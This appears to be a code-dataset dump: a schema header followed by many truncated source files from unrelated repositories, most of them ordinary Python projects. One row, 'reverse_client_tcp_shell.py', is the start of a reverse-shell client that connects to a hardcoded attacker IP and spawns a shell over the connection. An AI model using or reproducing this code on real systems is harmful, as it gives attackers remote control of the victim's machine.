repo_name
stringlengths
5
92
path
stringlengths
4
221
copies
stringclasses
19 values
size
stringlengths
4
6
content
stringlengths
766
896k
license
stringclasses
15 values
hash
int64
-9,223,277,421,539,062,000
9,223,102,107B
line_mean
float64
6.51
99.9
line_max
int64
32
997
alpha_frac
float64
0.25
0.96
autogenerated
bool
1 class
ratio
float64
1.5
13.6
config_test
bool
2 classes
has_no_keywords
bool
2 classes
few_assignments
bool
1 class
rwspicer/ARDA
arda_db/browser/migrations/0004_auto_20150320_0322.py
1
1718
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('browser', '0003_auto_20150320_0253'), ] operations = [ migrations.CreateModel( name='ROnline', field...
mit
5,817,100,351,531,621,000
36.347826
150
0.532014
false
4.521053
false
false
false
RobinQuetin/CAIRIS-web
cairis/cairis/ConceptReferencePanel.py
1
2828
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may...
apache-2.0
-7,756,544,276,121,583,000
46.133333
191
0.762023
false
3.415459
false
false
false
EclipseXuLu/DataHouse
DataHouse/crawler/file_helper.py
1
1669
import logging import os from openpyxl import Workbook logging.basicConfig(format='%(levelname)s:%(asctime)s:%(message)s \t', level=logging.INFO) EXCEL_DIR = '/home/lucasx/PycharmProjects/DataHouse/DataSet/' def write_excel(list_, filename): mkdirs_if_not_exists(EXCEL_DIR) wb = Workbook() ws = wb.acti...
mit
-5,800,700,881,441,562,000
35.911111
91
0.646598
false
2.873702
false
false
false
iulian787/spack
var/spack/repos/builtin/packages/ecp-viz-sdk/package.py
2
1561
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class EcpVizSdk(BundlePackage): """ECP Viz & Analysis SDK""" homepage = "https://github.com...
lgpl-2.1
-6,184,281,966,907,562,000
39.025641
83
0.696348
false
3.342612
false
false
false
lechuckcaptain/urlwatch
test/test_handler.py
1
4525
import sys from glob import glob import pycodestyle as pycodestyle from urlwatch.jobs import UrlJob, JobBase, ShellJob from urlwatch.storage import UrlsYaml, UrlsTxt from nose.tools import raises, with_setup import tempfile import os import imp from lib.urlwatch import storage from lib.urlwatch.config import BaseCo...
bsd-3-clause
80,278,206,530,138,000
31.092199
121
0.661215
false
3.327206
true
false
false
kalikaneko/leap_mail
src/leap/mail/imap/messages.py
1
45971
# -*- coding: utf-8 -*- # messages.py # Copyright (C) 2013 LEAP # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Th...
gpl-3.0
-1,798,522,859,234,019,600
32.048886
79
0.563964
false
4.120004
false
false
false
jieter/django-localflavor
localflavor/au/forms.py
1
4119
"""Australian-specific Form helpers.""" from __future__ import unicode_literals import re from django.forms import ValidationError from django.forms.fields import CharField, RegexField, Select from django.utils.encoding import force_text from django.utils.translation import ugettext_lazy as _ from localflavor.compa...
bsd-3-clause
-3,051,444,075,775,757,000
30.204545
116
0.651129
false
3.972035
false
false
false
SentinelWarren/Reverse-Shell
src/reverse_client_tcp_shell.py
1
1196
import socket # For starting TCP connection import subprocess # To start the shell in the system # Attacker IP goes here ATT_IP = "10.254.141.59" def connect(): # Creating object soketi soketi = socket.socket(socket.AF_INE...
gpl-3.0
-3,769,709,386,116,838,400
35.242424
126
0.51087
false
4.413284
false
false
false
Cobliteam/shelver
shelver/provider/test.py
1
1626
import logging from shelver.artifact import Artifact from shelver.registry import Registry from shelver.build import Builder from .base import Provider logger = logging.getLogger('shelver.provider.test') class TestArtifact(Artifact): def __init__(self, id, **kwargs): super().__init__(**kwargs) ...
mpl-2.0
-8,799,597,469,075,863,000
25.655738
69
0.615621
false
4.147959
true
false
false
jingxiang-li/kaggle-yelp
archive/preprocess.py
1
1280
from __future__ import division, absolute_import from __future__ import print_function, unicode_literals import pandas as pd from transfer_features import * # process training data biz2label = pd.read_csv("rawdata/train.csv", index_col=0) photo2biz = pd.read_csv("rawdata/train_photo_to_biz_ids.csv", index_col=0) biz2...
mit
8,042,651,720,519,711,000
36.647059
79
0.673438
false
2.740899
false
false
false
lefthand3r/scienceanalyst
get_bearer_token.py
1
1028
import base64 import ignore consumer_key = ignore.TWITTER_CONSUMER_KEY consumer_secret = ignore.TWITTER_CONSUMER_SECRET access_token = ignore.TWITTER_ACCESS_TOKEN access_secret = ignore.TWITTER_ACCESS_SECRET def get_bearer_token(consumer_key, consumer_secret): # get bearer token for application only requests ...
gpl-3.0
-4,461,987,115,436,144,000
40.12
134
0.713035
false
3.544828
false
false
false
jaakkojulin/potku
Dialogs/GlobalSettingsDialog.py
1
10692
# coding=utf-8 ''' Created on 30.4.2013 Updated on 26.8.2013 Potku is a graphical user interface for analyzation and visualization of measurement data collected from a ToF-ERD telescope. For physics calculations Potku uses external analyzation components. Copyright (C) Jarkko Aalto, Timo Konu, Samuli Kärkkäinen, ...
gpl-2.0
4,782,183,714,612,712,000
43.533333
96
0.605913
false
3.686789
false
false
false
sscdotopen/musicwithtaste
tools/dataset.py
1
3138
#!/usr/bin/python # -*- coding: utf-8 -*- # Licensed to Sebastian Schelter (ssc[at]apache.org), who licenses this file # to You under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apach...
apache-2.0
6,709,835,080,681,461,000
32.752688
105
0.695347
false
3.103858
false
false
false
Tonny-Gu/Project-Habrew
HAP-Python/experiment/Hapmgr/hap_main.py
1
1036
from hap_config_editor import hap_config_editor import hap_config import time import threading HAP_CE = hap_config_editor() HAP_List = hap_config.HAP_List # HAP_List HAP_ID HAP_Name login_time def register(hap_name, hap_type, val_list=[], func_list=[]): hap_id = "{0:04d}".format((len(HAP_List) + 1)) HAP_List.a...
gpl-3.0
-3,517,986,094,328,181,000
25.564103
83
0.588803
false
2.726316
true
false
false
iulian787/spack
var/spack/repos/builtin/packages/orc/package.py
2
1438
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Orc(CMakePackage): """the smallest, fastest columnar storage for Hadoop workloads.""" ...
lgpl-2.1
1,645,949,391,752,511,000
32.44186
96
0.61822
false
3.027368
false
false
false
mtlynch/ndt-e2e-clientworker
client_wrapper/http_server.py
1
7702
# Copyright 2016 Measurement Lab # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writi...
apache-2.0
6,865,305,335,375,241,000
34.330275
81
0.624253
false
4.388604
false
false
false
MicroMagnum/MicroMagnum
src/magnum/evolver/cvode.py
1
1850
# Copyright 2012 by the Micromagnum authors. # # This file is part of MicroMagnum. # # MicroMagnum is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any la...
gpl-3.0
-6,416,352,454,993,770,000
28.365079
82
0.685405
false
3.280142
false
false
false
Sonblind/orchestra
orchestra/workflow.py
1
8139
from importlib import import_module from django.conf import settings from orchestra.core.errors import InvalidSlugValue from orchestra.core.errors import SlugUniquenessError class Workflow(): """ Workflows represent execution graphs of human and machine steps. Attributes: slug (str): ...
apache-2.0
-6,444,960,388,937,644,000
28.067857
79
0.566654
false
4.496685
false
false
false
Chaparqanatoos/kaggle-knowledge
src/main/python/titanic.py
1
2524
import pandas as pd import numpy as np def pre_process(df): df['Gender'] = df['Sex'].map({'female': 0, 'male': 1}).astype(int) median_ages = np.zeros((2, 3)) for i in range(0, 2): for j in range(0, 3): median_ages[i, j] = df[(df['Gender'] == i) & (df['Pclass'] == j + 1)][...
apache-2.0
3,864,201,086,278,969,000
32.210526
111
0.618859
false
2.861678
true
false
false
abbyssoul/libsolace
conanfile.py
1
2675
"""Conan recipe package for libsolace """ from conans import CMake, ConanFile from conans.errors import ConanInvalidConfiguration from conans.model.version import Version class LibsolaceConan(ConanFile): name = "libsolace" description = "High performance components for mission critical applications" licen...
apache-2.0
3,942,592,968,079,367,000
36.152778
186
0.634393
false
3.694751
true
false
false
dunkhong/grr
api_client/python/grr_api_client/utils.py
1
6628
#!/usr/bin/env python """Utility functions and classes for GRR API client library.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import time from future.builtins import map from google.protobuf import wrappers_pb2 from google.protobuf import symbol...
apache-2.0
-3,259,828,917,412,572,000
25.943089
77
0.724955
false
3.633772
false
false
false
botswana-harvard/getresults-csv
getresults_csv/admin.py
1
1632
from django.contrib import admin from edc_base.modeladmin.admin import LimitedAdminInlineMixin from getresults.admin import admin_site from .models import ExportHistory, ImportHistory, CsvFormat, CsvField, CsvDictionary from getresults_csv.forms import CsvDictionaryForm class CsvFieldAdmin(admin.ModelAdmin): li...
gpl-2.0
-5,663,246,594,499,837,000
32.306122
84
0.735294
false
3.70068
false
false
false
protonn/Electrum-Cash
gui/qt/paytoedit.py
1
9510
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including witho...
mit
-1,738,034,398,156,646,700
30.078431
113
0.573817
false
3.875306
false
false
false
mppmu/secdec
high_level_tests/box1L_rank4/test/test.py
1
3321
from __future__ import print_function from pySecDec.integral_interface import IntegralLibrary import sympy as sp import unittest class CheckLib(unittest.TestCase): def setUp(self): # load c++ library self.lib = IntegralLibrary('../box1L_rank4/box1L_rank4_pylink.so') self.real_parameters = [...
gpl-3.0
7,984,500,369,133,681,000
43.28
147
0.611864
false
3.499473
false
false
false
sternshus/arelle2.7
svr-2.7/arelle/xlwt/Bitmap.py
1
10392
# Portions are Copyright (C) 2005 Roman V. Kiseliov # Portions are Copyright (c) 2004 Evgeny Filatov <fufff@users.sourceforge.net> # Portions are Copyright (c) 2002-2004 John McNamara (Perl Spreadsheet::WriteExcel) from arelle.xlwt.BIFFRecords import BiffRecord from struct import * def _size_col(sheet, col): ...
apache-2.0
6,240,996,760,064,364,000
39.27907
88
0.570439
false
3.655294
false
false
false
ragulpr/wtte-rnn
python/wtte/weibull.py
1
5548
""" Wrapper for Python Weibull functions """ import numpy as np def cumulative_hazard(t, a, b): """ Cumulative hazard :param t: Value :param a: Alpha :param b: Beta :return: `np.power(t / a, b)` """ t = np.double(t) return np.power(t / a, b) def hazard(t, a, b): t = np.double(t)...
mit
3,363,990,892,926,508,500
25.293839
105
0.541637
false
2.944798
true
false
false
mjones01/NEON-Data-Skills
tutorials-in-development/DI-remote-sensing-python/neon_aop_spectral_python_functions_tiled_data/aop_h5refl2array.py
1
3682
def aop_h5refl2array(refl_filename): """read in NEON AOP reflectance hdf5 file, convert to a cleaned reflectance array and return associated metadata (spatial information and band center wavelengths) Parameters ---------- refl_filename : string reflectance hdf5 file...
agpl-3.0
-3,099,062,738,407,099,000
40.852273
141
0.660511
false
3.976242
false
false
false
mattilyra/gensim
gensim/topic_coherence/text_analysis.py
1
24297
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2013 Radim Rehurek <radimrehurek@seznam.cz> # Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html """This module contains classes for analyzing the texts of a corpus to accumulate statistical information about word occurrences.""" im...
lgpl-2.1
-9,207,384,496,336,503,000
35.925532
114
0.619542
false
4.060328
false
false
false
gaolichuang/py-task-framework
nova/manager.py
1
5055
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compli...
apache-2.0
-5,186,284,612,501,895,000
37.295455
79
0.726607
false
4.33162
false
false
false
codefisher/djangopress
djangopress/gallery/admin.py
1
4575
from .models import GallerySection, Image, GALLERY_SETTINGS, Thumber from django.contrib import admin from django import forms from django.shortcuts import render from django.http import HttpResponseRedirect from django.urls import reverse try: from tinymce import widgets as tinymce_widgets except ImportError: ...
mit
-9,221,700,838,383,901,000
31.913669
114
0.60153
false
4.063055
false
false
false
zats/chisel
fblldbobjcruntimehelpers.py
1
3268
#!/usr/bin/python # Copyright (c) 2014, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. import re im...
bsd-3-clause
9,142,473,489,079,375,000
31.68
129
0.701652
false
3.571585
false
false
false
yaricom/brainhash
src/experiment_cA4_dt_th_al_ah_bl_mc_signal_7.py
1
1887
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ The experiment with 10 Hz/5Hz, wisp, attention, 70, cA 4, delta, theta, alpha low, alpha high, beta low, batch size = 5 and multiclass data set (BALANCED) with signal only data @author: yaric """ import experiment as ex import config from time import time n_hidden ...
gpl-3.0
8,388,471,490,210,353,000
28.968254
155
0.647059
false
3.15025
true
false
false
DMOJ/site
judge/widgets/pagedown.py
1
3741
from django.contrib.admin import widgets as admin_widgets from django.forms.utils import flatatt from django.template.loader import get_template from django.utils.encoding import force_text from django.utils.html import conditional_escape from judge.widgets.mixins import CompressorWidgetMixin __all__ = ['PagedownWidg...
agpl-3.0
-7,868,084,420,352,699,000
37.96875
111
0.615878
false
4.039957
false
false
false
InzamamRahaman/simple-tcp-example
client/TcpClient.py
1
1334
import socket class TcpClient(object): def __init__(self, port, host): """ Constructor for TCP Client :param port: the port that the client is going to try and access on the server :param host: the host of the sever """ self.port = port self.host = host ...
mit
-5,169,483,261,950,526,000
29.318182
86
0.577211
false
4.40264
false
false
false
40223226/2015cdbg8_6-22
wsgi.py
1
39822
#@+leo-ver=5-thin #@+node:2014fall.20141212095015.1775: * @file wsgi.py # coding=utf-8 # 上面的程式內容編碼必須在程式的第一或者第二行才會有作用 ################# (1) 模組導入區 # 導入 cherrypy 模組, 為了在 OpenShift 平台上使用 cherrypy 模組, 必須透過 setup.py 安裝 #@@language python #@@tabwidth -4 #@+<<declarations>> #@+node:2014fall.20141212095015.1776: ** <<declar...
gpl-3.0
-6,298,804,478,695,336,000
34.762295
184
0.582627
false
2.463754
false
false
false
raulperula/python_tutorials
tutorial-pyqt/src/example12.py
1
5052
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'example12.ui' # # Created: Sun Jan 18 18:25:33 2015 # by: PyQt4 UI code generator 4.9.1 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except Attri...
gpl-3.0
842,008,327,386,751,700
60.609756
141
0.722288
false
4.006344
false
false
false
fbradyirl/home-assistant
homeassistant/components/mystrom/binary_sensor.py
1
2888
"""Support for the myStrom buttons.""" import logging from homeassistant.components.binary_sensor import DOMAIN, BinarySensorDevice from homeassistant.components.http import HomeAssistantView from homeassistant.const import HTTP_UNPROCESSABLE_ENTITY _LOGGER = logging.getLogger(__name__) async def async_setup_platfo...
apache-2.0
4,502,797,213,050,914,000
31.088889
88
0.611842
false
4.119829
false
false
false
vidursatija/voiceai
loadhardware.py
1
3338
import os from subprocess import Popen, PIPE from typeclassifier import TypeClassifier class HardwareControl: def __init__(self): self.classifier = TypeClassifier("fastText/voiceai-hardware.bin", "fastText/fasttext") self.backlightDir = "/sys/class/backlight/acpi_video0/" self.maxBrightnessDir = self.backli...
apache-2.0
-5,138,109,972,561,166,000
27.05042
107
0.64979
false
2.972395
false
false
false
xSAVIKx/SHUP-algorithm
algorithm/util.py
1
16299
__author__ = 'Iurii Sergiichuk <iurii.sergiichuk@gmail.com>' gal1 = tuple(range(256)) gal2 = ( 0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, 0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e, 0x40, 0x42, 0x44, 0x...
apache-2.0
-5,848,863,981,821,541,000
91.090395
99
0.639732
false
1.510565
false
true
false
mochrul/zorp
pylib/Zorp/Keybridge.py
1
21313
############################################################################ ## ## Copyright (c) 2000-2015 BalaBit IT Ltd, Budapest, Hungary ## Copyright (c) 2015-2018 BalaSys IT Ltd, Budapest, Hungary ## ## ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General...
gpl-2.0
-1,043,015,836,164,202,400
43.309771
771
0.592643
false
4.198779
false
false
false
Fantomas42/django-xmlrpc
setup.py
1
1097
import os from setuptools import find_packages from setuptools import setup import django_xmlrpc setup(name='django-xmlrpc', version=django_xmlrpc.__version__, description='XML-RPC Server App for the Django framework.', long_description=open(os.path.join('README.rst')).read(), keywords='dja...
bsd-3-clause
3,275,820,287,542,912,000
29.472222
74
0.633546
false
4.388
false
false
false
KB777/1541UltimateII
tools/parse_nano.py
1
6839
import sys import logging console = logging.StreamHandler() logger = logging.getLogger() logger.addHandler(console) logger.setLevel(logging.ERROR) labels = {} program = [] imm_expr = [] imm_dict = {} imm_values = [] nr = 0 def _get_value_imm(str): if str[0] == '#': if phase == 1: if not str[...
gpl-3.0
1,242,725,368,680,759,300
26.356
76
0.481942
false
3.046325
false
false
false
uber/pyro
pyro/poutine/lift_messenger.py
1
4853
# Copyright (c) 2017-2019 Uber Technologies, Inc. # SPDX-License-Identifier: Apache-2.0 import warnings from pyro import params from pyro.distributions.distribution import Distribution from pyro.poutine.util import is_validation_enabled from .messenger import Messenger class LiftMessenger(Messenger): """ G...
apache-2.0
-165,752,808,491,558,800
37.824
91
0.553678
false
4.119694
false
false
false
google-research/google-research
jax2tex/setup.py
1
2521
# coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
apache-2.0
-6,288,696,118,159,902,000
30.123457
97
0.689409
false
3.696481
false
false
false
s4w3d0ff/stirbot
stirbot/__init__.py
1
19959
#!/usr/bin/python import time import re import logging import socket import ssl from logging.handlers import RotatingFileHandler from multiprocessing.dummy import Pool, Process from multiprocessing import cpu_count SSLPORTS = [6697, 7000, 7070] NONSSLPORTS = [6665, 6666, 6667, 8000, 8001, 8002] class CommandHandle(ob...
gpl-3.0
6,888,434,177,947,593,000
37.680233
81
0.502831
false
4.245692
false
false
false
superjamie/snippets
ips-ls.py
1
1502
#!/usr/bin/python ## lists contents of an IPS patch ## stole the processing from meunierd's python-ips ## License: MIT - https://opensource.org/licenses/MIT from os.path import getsize,isfile import struct from sys import argv def print_usage_and_exit(): print "Usage: {script} [IPS patch file]".format(script=argv...
gpl-2.0
3,190,011,513,683,501,000
29.653061
75
0.597204
false
3.405896
false
false
false
anjel-ershova/python_training
fixture/application.py
1
1140
from selenium import webdriver from fixture.session import SessionHelper from fixture.fixture_group import GroupHelper from fixture.navigation import NavigationHelper from fixture.fixture_contact import * class Application: def __init__(self, browser, baseurl): if browser == 'firefox': self.wd...
apache-2.0
8,681,497,553,056,534,000
29.75
65
0.610659
false
4.069853
false
false
false
grantcolasurdo/geras
age/items.py
1
10048
"""This is a repository for items in AGE""" import csv __author__ = "Grant Colasurdo" class Items: """This class manages the meta-info of """ def __init__(self, character): self.character = character class Item: def __init__(self, csv_row): self.item_name: str = csv_row['item_name'] ...
gpl-2.0
4,637,744,781,462,521,000
29.916923
120
0.618631
false
3.538028
false
false
false
maweki/more-collections
more_collections/multisets.py
1
5254
try: # Python compat < 3.3 from collections.abc import Set, MutableSet, Hashable, Iterable except ImportError: from collections import Set, MutableSet, Hashable, Iterable from collections import defaultdict from functools import reduce from itertools import chain import operator try: # Python compat < 3.4 f...
mit
8,331,213,310,677,032,000
33.116883
93
0.597069
false
3.888971
false
false
false
dahlia/iterfzf
setup.py
1
12011
import distutils.core import distutils.errors import json import os import os.path import platform import re import shutil import sys import tarfile import tempfile import warnings import zipfile try: import urllib2 except ImportError: from urllib import request as urllib2 from setuptools import setup fzf_v...
gpl-3.0
289,778,294,269,218,750
34.535503
99
0.53784
false
3.864543
false
false
false
autostock/RaspiDay
day2/SIM-Card/raspberry-code/sim-mqtt.py
1
1294
# leitet SMS-Nachricht an MQTT-Broker weiter # SIM-Modul an ttyS1 # Ansteuerung mit AT-Befehlen # SMS-Format topic:payload # initpin() einmal zu Beginn import serial import time import paho.mqtt.client as mqtt port=serial.Serial("/dev/ttyS1",9600) #port.open() client=mqtt.Client() # MQTT-Server client.connect("x.x.x....
gpl-3.0
-3,823,492,392,637,159,400
20.213115
44
0.637558
false
2.619433
false
false
false
mne-tools/mne-tools.github.io
0.15/_downloads/plot_object_evoked.py
2
3497
""" .. _tut_evoked_objects: The :class:`Evoked <mne.Evoked>` data structure: evoked/averaged data ===================================================================== The :class:`Evoked <mne.Evoked>` data structure is mainly used for storing averaged data over trials. In MNE the evoked objects are usually created by...
bsd-3-clause
-5,153,579,084,988,538,000
45.013158
79
0.596797
false
4.14828
false
false
false
mbohlool/client-python
kubernetes/client/models/v1_glusterfs_volume_source.py
1
5563
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.8.2 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re ...
apache-2.0
-5,037,618,386,105,305,000
29.233696
204
0.586015
false
4.087436
false
false
false
MisterTofu/practice
datastructures/binary-tree.py
1
5688
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' @author: Travis A. Ebesu @created: 2015-02-22 @summary: ''' # pylint: disable=all class Node(object): def __init__(self, key): self.key = key self.left = None self.right = None self.parent = None def __str__(self): re...
gpl-3.0
-1,501,138,086,404,303,600
24.621622
90
0.483122
false
4.042644
false
false
false
scottrice/Ice
ice/gridproviders/consolegrid_provider.py
1
1816
#!/usr/bin/env python # encoding: utf-8 """ consolegrid_provider.py Created by Scott on 2013-12-26. Copyright (c) 2013 Scott Rice. All rights reserved. """ import sys import os import urllib import urllib2 import grid_image_provider from ice.logs import logger class ConsoleGridProvider(grid_image_provider.GridImag...
mit
8,985,641,121,252,052,000
25.318841
79
0.663546
false
3.574803
false
false
false
wcmitchell/insights-core
insights/parsers/brctl_show.py
1
4185
""" BrctlShow - command ``brctl show`` ================================== This module provides processing for the output of the ``brctl show`` command. Class ``BrctlShow`` parses the output of the ``brctl show`` command. Sample output of this command looks like:: --- bridge name bridge id S...
apache-2.0
-8,888,147,247,464,096,000
38.481132
87
0.474074
false
3.885794
false
false
false
ryanvarley/ExoData
exodata/database.py
1
8247
""" Handles database classes including search functions """ import re import xml.etree.ElementTree as ET import glob import os.path import io import gzip import requests from .astroclasses import System, Binary, Star, Planet, Parameters, BinaryParameters, StarParameters, PlanetParameters compactString = lambda strin...
mit
-7,449,412,430,742,709,000
32.528455
124
0.602037
false
4.38437
false
false
false
yafeunteun/wikipedia-spam-classifier
revscoring/revscoring/features/wikitext/datasources/edit.py
1
10052
import logging import re import time from deltas import segment_matcher from ....datasources import Datasource from ....datasources.meta import filters from .tokenized import TokenIsInTypes, is_uppercase_word logger = logging.getLogger(__name__) class Diff: def __init__(self, *args, **kwargs): super()...
mit
-7,961,771,865,106,505,000
31.217949
78
0.544369
false
4.043443
false
false
false
daanwierstra/pybrain
pybrain/supervised/trainers/rprop.py
1
2363
# $Id$ __author__ = 'Martin Felder' from scipy import sqrt from pybrain.supervised.trainers import BackpropTrainer class RPropMinusTrainer(BackpropTrainer): """ Train the parameters of a module according to a supervised dataset (possibly sequential) by RProp without weight backtracking (aka RProp-, cf. ...
bsd-3-clause
-2,108,311,514,443,129,300
44.461538
121
0.614896
false
3.89934
false
false
false
matllubos/django-is-core
is_core/contrib/background_export/migrations/0001_initial.py
1
2183
# -*- coding: utf-8 -*- # Generated by Django 1.11.16 on 2019-08-18 18:10 from __future__ import unicode_literals import import_string import chamber.models.fields from django.conf import settings from django.db import migrations, models import django.db.models.deletion import is_core.contrib.background_export.models...
bsd-3-clause
-1,149,813,004,629,702,500
44.479167
118
0.603298
false
4.322772
false
false
false
ericdill/bluesky
bluesky/callbacks/olog.py
1
4145
from io import StringIO TEMPLATES = {} TEMPLATES['long'] = """ {{- start.plan_type }} ['{{ start.uid[:6] }}'] (scan num: {{ start.scan_id }}) Scan Plan --------- {{ start.plan_type }} {%- for k, v in start.plan_args | dictsort %} {{ k }}: {{ v }} {%- endfor %} {% if 'signature' in start -%} Call: {{ start.si...
bsd-3-clause
-4,276,932,804,570,947,600
32.97541
95
0.572256
false
4.051808
false
false
false
mpi2/PhenotypeData
external_tools/src/main/python/images/DeleteFilesNotInSolr.py
1
8714
#!/usr/bin/python """Delete file not in Solr ...""" import os import requests import json import sys import os.path import sys import argparse import shutil from common import splitString from DirectoryWalker import DirectoryWalker import itertools from OmeroPropertiesParser import OmeroPropertiesParser responseFail...
apache-2.0
-614,075,374,023,222,100
48.511364
337
0.697269
false
3.773928
false
false
false
sajeeshcs/nested_projects_keystone
keystone/token/controllers.py
1
20208
# Copyright 2013 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
apache-2.0
5,148,647,474,886,089,000
37.491429
79
0.566657
false
4.353296
false
false
false
alshedivat/kgp
kgp/models.py
1
8412
"""Gaussian Process models for Keras 2.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from keras.models import Model as KerasModel from keras.engine.topology import _to_list from keras.engine.training import _standardize_input_data from .callbacks imp...
mit
-4,385,918,913,147,216,400
34.344538
83
0.551236
false
4.044231
false
false
false
dstlmrk/catcher
catcher/api/middleware.py
1
3340
#!/usr/bin/python # coding=utf-8 import falcon import ujson import json from catcher import models import datetime from playhouse.shortcuts import model_to_dict import logging from catcher.models import User, NullUser import peewee class PeeweeConnection(object): def process_request(self, req, resp): mo...
mit
-6,470,274,050,978,394,000
29.372727
114
0.580539
false
4.276569
false
false
false
CharlesGarrocho/MCC
computacao_movel/DTN/server.py
1
2035
import os import json import time import socket from threading import Thread IPS = [] def trata_cliente(conexao, endereco): requisicao = conexao.recv(1024) print requisicao if requisicao == 'LIST': arqs = os.listdir('/etc/black/garagem/arquivos/') conexao.send(json.dumps(arqs)) elif re...
apache-2.0
7,516,643,370,373,497,000
29.848485
86
0.58231
false
3.001475
false
false
false
jkyeung/XlsxWriter
xlsxwriter/test/comparison/test_chart_format08.py
1
1699
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2016, John McNamara, jmcnamara@cpan.org # from ..excel_comparsion_test import ExcelComparisonTest from ...workbook import Workbook class TestCompareXLSXFiles(ExcelComparisonTest): """...
bsd-2-clause
-4,284,780,156,729,032,000
24.742424
79
0.527369
false
3.532225
true
false
false
F483/gravur
gravur/common/abstractscrollview.py
1
1148
# coding: utf-8 # Copyright (c) 2015 Fabian Barkhau <fabian.barkhau@gmail.com> # License: MIT (see LICENSE file) from kivy.uix.gridlayout import GridLayout from kivy.uix.scrollview import ScrollView class AbstractScrollView(ScrollView): def __init__(self, *args, **kwargs): # Setup scroll view ...
mit
1,983,399,102,228,169,200
29.210526
65
0.568815
false
3.904762
false
false
false
reetawwsum/Machine-Translation
utils/batchGenerator.py
1
2290
from __future__ import print_function from __future__ import absolute_import import random import numpy as np import config from utils.dataset import Dataset class BatchGenerator(): '''Generate Batches''' def __init__(self): self.batch_size = config.FLAGS.batch_size self.buckets = buckets = config.BUCKETS se...
mit
-3,227,155,912,839,335,000
34.78125
138
0.706114
false
3.073826
false
false
false
mattgrogan/ledmatrix
sensor_ui/rotary_encoder.py
1
3290
from gpiozero import Button class RotaryEncoder: """ Decode mechanical rotary encoder pulses. The following example will print a Rotary Encoder change direction from gpiozero import RotaryEncoder def change(value): if value == 1: print("clockwise")...
mit
-656,385,531,200,333,000
30.254902
85
0.419149
false
4.159292
false
false
false
maxive/erp
addons/mail/models/update.py
12
5056
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import datetime import logging import requests import werkzeug.urls from ast import literal_eval from odoo import api, release, SUPERUSER_ID from odoo.exceptions import UserError from odoo.models import AbstractModel ...
agpl-3.0
-3,973,846,673,264,079,000
40.442623
140
0.584652
false
4.025478
false
false
false
mgr01/antfs-cli
setup.py
1
2385
# antfs-cli distutils setup script # # Copyright (c) 2012, Gustav Tiger <gustav@tiger.name> # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation...
mit
-6,343,828,656,502,855,000
38.098361
85
0.67631
false
4.191564
false
false
false
sclaggett/NetworkMonitor
src/PingThread.py
1
5327
""" PingThread.py Thread that pings the target server """ # Imports import NetworkMonitor import re import ThreadBase import time import subprocess class PingThread(ThreadBase.ThreadBase): def __init__(self, platform, targetServer, interval, logFile, outputFile): """Constructor""" # Initialize va...
cc0-1.0
8,206,923,105,654,178,000
47.427273
177
0.575934
false
3.79416
false
false
false
ZeitOnline/zeit.cms
src/zeit/cms/workingcopy/workingcopy.py
1
5395
import grokcore.component import z3c.traverser.interfaces import zeit.cms.workingcopy.interfaces import zope.app.container.btree import zope.app.security.interfaces import zope.component import zope.dublincore.interfaces import zope.interface import zope.publisher.interfaces import zope.security.interfaces import zope....
